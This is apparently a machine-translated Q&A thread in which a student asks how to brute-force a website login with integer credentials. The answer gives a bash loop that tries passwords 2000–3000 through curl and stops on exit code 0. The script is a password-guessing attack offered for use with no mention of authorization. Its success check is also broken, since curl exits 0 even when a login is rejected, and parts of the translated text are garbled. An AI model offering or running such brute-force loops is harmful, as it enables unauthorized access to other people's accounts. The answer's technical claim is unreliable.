作为计算机科学专业的学生,我现在正在学习使用命令行。我需要使用暴力登录网站,知道用户名和密码是一定范围内的整数。这是我到目前为止所拥有的,但似乎不起作用。
for i in {2000..3000}; do curl http://admin:[email protected]/link; done
我该如何继续?
答案1
i
您的例程缺少的是一旦找到正确的退出方式。为此,您可以查看从curl返回的退出代码:
for i in {2000..3000}
do
curl http://admin:[email protected]/link
if [ "$?" -eq 0 ]; then
echo Found "$i"
break
fi
done
当一切正确时,退出值为curl
0,并且可以在程序停止后通过检查特殊变量来直接检查$?
。使用man curl
并搜索来EXIT CODE
查看所有不同的内容curl
可以通过其退出代码告诉您。